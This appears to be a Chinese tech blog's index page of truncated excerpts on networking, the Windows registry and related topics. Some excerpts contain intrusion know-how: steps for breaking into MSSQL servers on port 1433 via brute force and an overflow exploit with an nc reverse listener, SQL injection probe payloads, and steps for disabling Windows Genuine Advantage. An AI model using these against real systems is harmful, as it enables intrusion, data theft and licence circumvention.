言出必行

    ARP（Address Resolution Protocol）是地址解析协议，是一种将IP地址转化成物理地址的协议。从IP地址到物理地址的映射有两种方式：表格方式和非表格方式。ARP具体说来就是将网络层（IP层，也就是相当于OSI的第三层）地址解析为数据连接层（MAC层，也就是相当于OSI的第二层）的MAC地址。     ARP原理：某机器A要向主机B发送报文，会查询本地的ARP缓存

　如果您是通过网卡的物理地址进行访问网络的，那么一定会碰到需要修改物理地址的情况。如更换新网卡，网卡的物理地址重复或者让笔记本电脑临时登陆一下网络等情况。更改网卡MAC地址的文章网络中有很多，但大都说的不够详细，下面笔者试着以Windows XP操作系统为例介绍两种网卡MAC地址的修改方法，希望对大家有所帮助。　　简单的修改方法　　读者可以在桌面上的“网上邻居”图标上单击右键，选择“属性”

注册表对有的人还是比较陌生的，因为现在第三方软件太多了，如优化大师、魔法兔子等等，但个人觉得改善系统的第三方软件还不够完善，如果初级用户使用不当，会出现严重的后果，所以提供这篇文章，希望大家多多学习，本人能力有限，还希望大家多提宝贵意见： 　　一、注册表的由来 　　PC机及其操作系统

rss是RDF Site Summary 的缩写（RDF是Resource Description Framework的缩写 ），是指将网站摘要用xml语言描述。 一、什么是RSS？ 也许大家是第一次听到RSS这个概念，那什么是RSS呢？RSS是站点用来和其他站点之间共享内容的一种简易方式（也叫聚合内容），通常被用于新闻和其他按顺序排列的网站，例如Blog。 一段项目的介绍可能包含新闻的全部介绍等

taskkill 说明:     这个命令行工具可用来结束至少一个进程。     可以根据进程 id 或图像名来结束进程。     可通过taskkill/?在获得详细帮助。     支持系统Winxp以上。例如：     TASKKILL /S system /F /IM notepad.exe /T     TASKKILL /PID 1230 /PID 1241 /PID 1253 /T  

1. 1433端口入侵　　scanport.exe 查有1433的机器　　SQLScanPass.exe 进行字典暴破(字典是关键)　　最后 SQLTools.exe入侵对sql的sp2及以下的系统，可用sql的hello 溢出漏洞入侵。　　nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口　　(以上反向的，测试成功)　　

   Time/System Time 时间/系统时间　　Date/System Date 日期/系统日期　　Level 2 Cache 二级缓存　　System Memory 系统内存　　Video Controller 视频控制器　　Panel Type 液晶屏型号　　Audio Controller 音频控制器　　Modem Controller 调制解调器（Modem)　　Primary

事件和委托的编译代码 这时候，我们注释掉编译错误的行，然后重新进行编译，再借助Reflactor来对 event的声明语句做一探究，看看为什么会发生这样的错误： public event GreetingDelegate MakeG

一、什么是注册表    Windows的注册表(registry)实质上是一个庞大的数据库，它存储以下面这些内容：软、硬件的有关配置和状态信息；应用程序和资源管理器外壳的初始条件、首选项和卸载数据；整个系统的设置和各种许可；文件扩展名与应用程序的关联；硬件的描述、状态和属性；计算机性能纪录和底层的系统状态信息，以及各类其它数据。二、注册表的结构    Windows为我们提供了一个注册表编辑器(r

六、使用技巧 　　上面介绍的都是概念上的东东，下面让我们实际操作吧 　　1.加快开机及关机速度 　　在[开始]-->[运行]-->键入[Regedit]-->[HKEY_CURRENT_USER]-->[Control Panel]-->[Desktop]，将字符串值[HungApp

在%system%/system32/config目录下的文件作用说明：sam.*         Security Account Manager,安全帐号管理器default.*     默认注册表文件security.*    安全性注册文件system.*      系统注册文件software.*  

相信大多数朋友都是iframe木马的受害者，有朋友的网站被注入了N回iframe，心情可想而知。而且现在ARP攻击，注入iframe也是轻而易举的事，仅局域网里都时刻面临威胁，哎，什么世道。灵儿曾经在经典论坛上发过贴子：《一行代码解决网站防挂IFRAME木马方案》http://bbs.blueidea.com/thread-2785512-1-1.html ，有不少朋友都联系了灵儿，有的表示感谢，

1.判断是否有注入;and 1=1 ;and 1=22.初步判断是否是mssql ;and user>03.注入参数是字符and [查询条件] and =4.搜索时没过滤参数的and [查询条件] and %25=5.判断数据库系统;and (select count(*) from sysobjects)>0 mssql;and (select count(*)

    MAC地址是网卡的物理地址，它由48位二进制数表示。其中前面24位表示网络厂商标识符，后24位表示序号。每个不同的网络厂商会有不同的厂商标识符，而每个厂商所生产出来的网卡都是依序号不断变化的，所以每块网卡的MAC地址是世界上独一无二的（特殊情况除外：如要通过修改MAC地址来通过认证时）。一般我们采用六个十六进制数来表示一个完整的MAC地址，如00:e0:4c:01:02:85。在win98

　一、DLL文件常识　　DLL是Dynamic Link Library的缩写，意为动态链接库。在Windows中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即DLL文件，放置于系统中。当我们执行某一个程序时，相应的DLL文件就会被调用。一个应用程序可有多个DLL文件，一个DLL文件也可能被几个应用程序所共用，这样的DLL文件被称为共享DLL文件。DLL文件

1.结束进程wgatray.exe2.删除C/windows/system 32/wgatray.exe 3.删除C/windows/system 32/waglogon.dll4.重启5.关闭自动更新附:HKEY_LOCAL_MACHINE/SOFTWARE/microsoft/Windows NT/ CurrentVersion/Winlogon/Notify/WgaLog

介质访问控制子层协议 主要负责控制与连接物理层的物理介质。在发送数据的时候，MAC协议可以事先判断是否可以发送数据，如果可以发送将给数据加上一些控制信息，最终将数据以及控制信息以规定的格式发送到物理层；在接收数据的时候，MAC协议首先判断输入的信息并是否发生传输错误，如果没有错误，则去掉控制信息发送至LLC层。 说通俗点儿，它就是每一个网卡的身份证号码，相对于上网所要用到的TCP/IP协议来说MA

 80年代初，美国政府的高级研究工程机构（ARPA）给加利福尼亚大学Berkeley分校提供了资金，让他们在UNIX操作系统下实现TCP/IP协议。在这个项目中，研究人员为TCP/IP网络通信开发了一个API（应用程序接口）。这个API称为Socket接口（套接字）。今天，SOCKET接口是TCP/IP网络最为通用的API，也是在INTERNET上进行应用开发最为通用的API。90年代初，

最近公司网站老是被插入 ，我分析数据库，得出是ｓｑｌ注入攻击，现在整理点资料供大家参考。果编写通用的SQL防注入程序一般的http请求不外乎get 和 post,所以只要我们在文件中过滤所有post或者get请求中的参数信息中非法字符即可，所以我们实现http 请求信息过滤就可以判断是是否受到SQL注入攻击。 　　IIS传递给asp.dll的get 请求是是以字符串的形式，，当 传递给Re

 在最近两年中，安全专家应该对网络应用层的攻击更加重视。因为无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制，如果你的网络应用程序开发者没有遵循 安全代码进行开发，攻击者将通过80端口进入你的系统。广泛被使用的两个主要攻击技术是SQL注入[ref1]和CSS[ref2]攻击。SQL注入是指：通过互联网的输入区域，插入SQL meta-characters（特殊字符 代表一些数据）和指令，操

该内容全部是FLASH录像讲解，清晰易懂（只惜讲解人普通话水平有点儿……，还好说地比较清楚，呵呵） 备注：这个教程是来自网易的，仅供用于研究安全知识，请勿乱用哦！ 1.脚本入侵技术概述    http://tech.163.com/

一、认识组策略组策略是管理员为计算机和用户定义的，用来控制应用程序、系统设置和管理模板的一种机制。简单说，就是介于控 制面板和注册表之间的一种修改系统、设置程序的工具。大家都知道一些常用的系统、外观、网络设置等我们往往通过控制面板进行修改，不过通过控制面板能修改 的东西太少了，不能满足用户的需要；水平稍高点的朋友进而使用修改注册表的方法来设置，但注册表涉及内容又太多，修改起来极其不方便。而组策略正

巧妙从进程中判断出病毒和木马 explorer.exe 常被病毒冒充的进程名有：iexplorer.exe、expiorer.exe、explore.exe。explorer.exe就是我们经常会用到的“资源管理器”。如果在“任务管理器”中将explorer.exe进程结束，那么包括任务栏、桌面、以及打开的文件都会统统消失，单击“任务管理器”→“文件”→“新建任务”，输入“explorer.exe

这是一篇技术教程，真心诚意会用很简单的文字表达清楚自己的意思，只要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然变的很遥远，而有些很遥远的东西却又突然回到了眼前。.先概述一下批处理是个什么东东。批处理的定义，至今我也没